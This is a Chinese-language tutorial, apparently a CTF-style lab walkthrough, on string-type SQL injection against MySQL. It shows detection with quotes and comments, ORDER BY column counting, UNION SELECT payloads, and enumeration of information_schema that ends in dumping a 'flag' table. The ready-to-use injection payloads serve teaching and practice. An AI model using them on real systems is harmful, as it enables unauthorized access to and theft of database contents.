字符型SQL注入
目录
一、判断是否存在注入
1、加单引号
此时sql 语句为:select * from table where name=’admin’’,由于加单引号后变成三个单引号,则无法执行,程序会报错;
2、加 ’and 1=1
此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入
还需要通过注释符号将其绕过;Mysql 有三种常用注释符:
-- 注意,这种注释符后边有一个空格
因此,构造语句为:select * from table where name =’admin’ and 1=1—’ 可成功执行返回结果正确;
3、加 ’and 1=2 —
此时sql语句为:select * from table where name=’admin’ and 1=2 –’ 则会报错
如果满足以上三点,可以判断该url为字符型注入。
服务端的sql语句为:select 列 from 数据库.表 where name='$name'
二、判断select语句中有几列
order by 列名(列名可以为select语句中列的序号,name,age——->1,2),因此数字从大往小猜,如果超出它的列数,则报错;如果恰好等于列数,显示$name=1的结果。
$name=1' order by 3 -- ',sql语句为:select * from news where id='1' order by 3 -- '',超过它的列数,报错。继续往小猜。猜到2时可以正常显示,因此字段数量为2
$name=1' order by 2 -- '
三、判断显示的信息是第几列的信息
一般在我们可见页面中显示的信息不一定是查询全部列数,可能查询3列,显示1列。通过‘直接闭合前面的select语句,使其前半句查询结果空(除非存在name=’‘的情况),即数据库中不存在该查询数据,然后通过union select 1,2 显示的数字来确定显示的列的位置。
$name=' union select 1,2 -- '
根据查询结果,得到2,以后想要查询的信息就放在第二个列处。
四、利用函数来收集数据库信息
查询sql自带的函数来确定当前用户,当前数据库等信息。
数据库函数有以下:
1、用户:user()
2、当前数据库:database()
3、数据库版本:version()
4、@@hostname (用户)
5、@@datadir (数据库在文件的位置)
6、@@version (版本)
7、@@version_compile_OS (操作系统版本)
$name=' union select 1,user() -- ',查询结果为:是root账户
如果为root用户,就可以访问information_schema数据库。
查询数据库类型,$name=' union select 1,version() -- ',查询结果为:
由数据库版本可知它是MySQL的一个分支。
查询当前数据库名称,$name=' union select 1,database() -- ',查询结果为:
当前数据库名称为:sqli
五、通过union查询数据库
1、获取所有数据库名称
$name=' union select 1,group_concat(schema_name) from information_schema.schemata -- '
查询结果为:
当前数据库有:
information_schema,mysql,performance_schema,sqli
2、查询数据库中有多少个表
$name=' union select table_schema,count(*) from information_schema.tables -- '
由结果可知information_schema中有161个表
查询数据库information_schema中的所有表名,在后续中需要从里面的表中查询数据,该数据库中有161个表。
$name=' union select 1,group_concat(table_name) from information_schema.tables where table_schema='informatioin_schema' -- '
3、查询指定数据库中的表名
$name=' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' -- '
根据查询结果可知,数据库sqli中有两个表:news、flag
4、查询指定数据库指定表中的列名
此次,通过limit逐个获取列名, limit 0,1,修改limit中第一个数字获取其他列名,如获取第二个列名:limit 1,1。
$name=' union select table_name,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1) -- '
查询结果:第一个字段列名为:flag
查询第二个字段没出查询成功,说明此表中只有一个列字段
5、查询指定数据库指定表的列的内容
$name=' union select 1,group_concat(flag) from sqli.flag -- '
查询结果: